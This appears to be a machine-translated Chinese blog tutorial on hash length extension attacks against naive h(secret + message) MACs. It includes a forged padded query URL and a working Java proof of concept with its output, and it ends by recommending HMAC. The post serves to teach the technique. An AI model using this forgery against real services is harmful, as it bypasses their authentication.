哈希長度擴展攻擊

在這篇文章中，我將盡力避免夏季的低迷，而將重點放在比抱怨天氣更有趣的事情上-哈希長度擴展攻擊。

散列長度擴展攻擊沒什么復雜或復雜的，說實話，這只是關于如何使用散列函數。正如我以前的一篇文章中所討論的那樣，哈希函數有多種類型，但是本文主要關注密碼哈希函數。我們將不分析大多數當前加密哈希函數所基于的Merkle-Damgard構造的結構。需要了解的事實如下：

哈希函數以固定的塊大小運行
輸入數據被分割成適合塊大小的部分
如果輸入數據（或其一部分）小于塊大小，則會填充缺少的字節
哈希值表示哈希函數的內部狀態！

這意味著即使原始輸入仍然未知，也可以選擇在知道哈希值的情況下繼續進行哈希計算。唯一要做的就是將哈希函數的內部狀態重置為哈希值之一。

這只是事實的一半，因為如果我們不知道輸入數據，就不知道需要多少填充來完成哈希操作。

哈希函數執行了以下操作（在例如調用Java engineDigest（）之后）：
繼續直到到達最后一個塊

墊最后一塊
輸出摘要
重置內部狀態

真正散列的是這樣的東西

h（m）=數據+填充

如果我們想繼續散列，我們必須猜測數據的長度，以確定確切的填充。一旦我們猜到了正確的長度，就可以將哈希擴展到以下內容

h（m）=（數據+填充）+ ourExtension + newPadding

幸運的是，填充格式必須是確定性的（以便通過傳遞相同的輸入數據來重新創建哈希值），因此知道數據的長度就可以重新填充。執行完這些步驟后，在輸出摘要時，我們便具有哈希函數的完整內部狀態。

如何使用

2009年， Rizzo和Duong使用哈希長度擴展攻擊來危害Flickr 。為了簡單起見，我們進行以下假設：

Web服務通過基于哈希函數計算某種消息身份驗證代碼（MAC）來保護其REST API

MAC = h（SECRET_PASSWORD +資源）

對受保護資源的有效REST查詢如下所示

http：//…/ someAction？resource = validMACsOnly＆mac = xxxxxxxx

如果附加的MAC有效，則用戶只能對資源執行所需的操作。通過嘗試猜測秘密密碼來進行攻擊似乎是一項蠻力任務……

攻擊

通過了解如何擴展哈希值，可以在不知道秘密密碼的情況下提供有效的MAC。為此，在輸出摘要時，必須使用內部狀態重置使用的哈希函數。因此，我們將mac參數的值設置為哈希函數的內部狀態。有了這些前提條件，我們就能計算出有效的MAC。

但這只是一半，因為服務器僅在所計算的MAC屬于所傳遞的資源參數時才授予訪問權限。因此，下一步，我們必須猜測原始填充。要獲得該填充，我們只需嘗試所有可能的填充，直到其中一種適合為止。

如果我們設法正確填充，我們就完成了。因此，在進行舊的填充（填充已知塊大小的塊是必需的）之后，我們開始在新的塊中進行。因此服務器驗證以下內容

h（m）=（oldData + recoveryPadding）+（ourExtension + newPadding）請記住，h（m）=（oldData + recoveryPadding）是導致已知MAC的舊數據。擴展的數據從一個新塊開始，這意味著舊的填充被視為輸入數據的一部分，而不是填充。

修改后的查詢如下所示：

http：//…/ someAction？resource = validMACsOnly \ x80 \ x00…\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD8＆mac = xxxxxxxx

填充上的一些單詞：

填充以\ x80開頭
所需的填充空間用\ x00s填充
最后8個字節表示以位為單位的數據長度（無填充）

碼

對于渴望使用此功能的每個人，這里是計算有效擴展的代碼。對于PoC，修補了通用的SHA1庫以獲取對其內部狀態的訪問權限。修改后的類來自Java安全提供程序。

import java.nio.charset.Charset;
import java.security.DigestException;
import java.util.Formatter;/*** Hash length extension attack - PoC.** @author Christopher Meyer - christopher.meyer@rub.de* @version 0.1** Jul 25, 2012*/
public class HashLengthExtension {/*** Secret key.*/private static final String KEY = "NoNeedToRecoverKey";/*** String to be MACed together with the key.*/private static final String TOMAC = "SecuredResource";/*** Extension string to be added to the MAC.*/private static final String EXTENSION = "TheResourceRemainsUnsecured";/*** Static Hash algorithm instance.*/private static final SHA1 HASH_ALGO = new SHA1();/*** Blocksize of the algorithm in bytes.*/private static final int BLOCKSIZE = 64;/*** Padding.*/private static final byte[] PADDING = new byte[136];static {// the first padding byte is 0x80 - by definitionPADDING[0] = (byte) 0x80;}/*** Computes a valid input that extends a given hash.** @param args the command line arguments*/public static void main(String[] args) throws DigestException {byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8"));byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8"));byte[] originalMAC = createMAC(toMACBytes);System.out.println("Original MAC  : "+ buildHexString(originalMAC));byte[] macCandidate;byte[] hashInput;int pointer = 0;System.out.println("Recover digest state...");HASH_ALGO.engineReset();// set internal state to the one of the original MACHASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1],originalMAC[2], originalMAC[3]);HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5],originalMAC[6], originalMAC[7]);HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9],originalMAC[10], originalMAC[11]);HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13],originalMAC[14], originalMAC[15]);HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17],originalMAC[18], originalMAC[19]);HASH_ALGO.bytesProcessed = BLOCKSIZE;System.out.println("Compute extension MAC...");HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length);// compute the extended hashmacCandidate = HASH_ALGO.engineDigest();System.out.println("Extended MAC  : "+ buildHexString(macCandidate));System.out.println("Trying to find suitable input....");// determine the necessary input....int j = 0;for (int i = 1; i <= PADDING.length; i++) {hashInput = new byte[toMACBytes.length + i+ 8 + extensionBytes.length];pointer = 0;/*** Compute new input*/// # add original messageSystem.arraycopy(toMACBytes, 0, hashInput, pointer,toMACBytes.length);pointer += toMACBytes.length;// # add paddingSystem.arraycopy(PADDING, 0, hashInput, pointer, i);pointer += i;// # add length of user data (8 bytes)// j is the computed length of the original message in bits// (blockSize - padding length - 8 length bytes)j = (BLOCKSIZE - i - 8) << 3;// the first word is 0 in our case, due to only 32 bit inthashInput[pointer] = 0;hashInput[pointer + 1] = 0;hashInput[pointer + 2] = 0;hashInput[pointer + 3] = 0;hashInput[pointer + 4] = (byte) ((j >>> 24));hashInput[pointer + 5] = (byte) ((j >>> 16));hashInput[pointer + 6] = (byte) ((j >>> 8));hashInput[pointer + 7] = (byte) (j);pointer += 8;// # add extensionSystem.arraycopy(extensionBytes, 0, hashInput, pointer,extensionBytes.length);pointer += extensionBytes.length;// # check guessif (isMACCorrect(macCandidate, hashInput)) {System.out.println("==> Hash input    : "+ buildHexString(hashInput));System.out.println("==> Padding Length: "+ i);System.out.println("==> Secret Length : "+ (BLOCKSIZE - toMACBytes.length - i - 8));break;}}}/*** Convert a byte[] to int.** @param bytes 4 bytes array to be converted* @return Integer representation of the byte[]*/private static int bytesToInt(byte... bytes) {return (int) ((0xFF & bytes[0]) << 24| (0xFF & bytes[1]) << 16| (0xFF & bytes[2]) << 8| (0xFF & bytes[3]));}/*** Checks if the input results creates the expected MAC.** @param macToCheck Expected MAC* @param msg Modified input for MAC function (secret key remains unknown)* @return True if the modified input creates the expected MAC* @throws DigestException*/private static final boolean isMACCorrect(final byte[] macToCheck,final byte[] msg) throws DigestException {boolean result = true;byte[] referenceHash = createMAC(msg);System.out.println("Reference hash: "+ buildHexString(referenceHash));if (referenceHash.length != macToCheck.length) {result = false;} else {for (int i = 0; i < referenceHash.length; i++) {if (referenceHash[i] != macToCheck[i]) {result = false;break;}}}return result;}/*** Converts a byte[] to its Hex representation* @param bytes Bytes to be converted* @return Hex String of the passed byte[].*/private static String buildHexString(byte[] bytes) {StringBuilder sb = new StringBuilder(bytes.length);Formatter formatter = new Formatter(sb);for (Byte tmpByte : bytes) {formatter.format("%02x ", tmpByte);}return sb.toString();}/*** Creates a weak MAC of the form h(secret + msg).** @param msg Message to get MACed* @return Weak MAC* @throws DigestException*/private static final byte[] createMAC(final byte[] msg) throwsDigestException {byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8"));HASH_ALGO.engineReset();HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length);HASH_ALGO.engineUpdate(msg, 0, msg.length);return HASH_ALGO.engineDigest();}
}

運行上面的示例將創建以下輸出：

跑：

Original MAC  : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8 
Recover digest state...
Compute extension MAC...
Extended MAC  : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 
Trying to find suitable input....
Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d 
Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77 
Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9 
Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76 
Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a 
Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73 
Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68 
Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f 
Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7 
Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d 
Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b 
Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10 
Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac 
Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3 
Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d 
Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6 
Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2 
Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0 
Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a 
Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48 
Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1 
Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65 
Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 
==> Hash input    : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08 
54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 65
64 
==> Padding Length: 23
==> Secret Length : 18

使用URL編碼從hashInput生成的字符串為SecuredResource％80％01％08TheResourceRemainsUnsecured，原始資源，23個填充字節（包括％80），8個長度字節和新資源。這樣我們得到（64字節塊大小– 23填充字節– 8個長度字節）* 8位= 264位原始數據（秘密+資源）== 01 08（十六進制表示）。

得到教訓

不要通過創建自己的安全結構來濫用加密技術。使用經過認可的功能和構造。在這種情況下，使用HMAC功能代替引入自己的MAC將是更好的方法。

在WhiteHat Security Blog上可以找到關于此主題的非常好的博客條目。

參考： Java安全和相關主題博客上的JCG合作伙伴 Christopher Meyer提出的哈希長度擴展攻擊。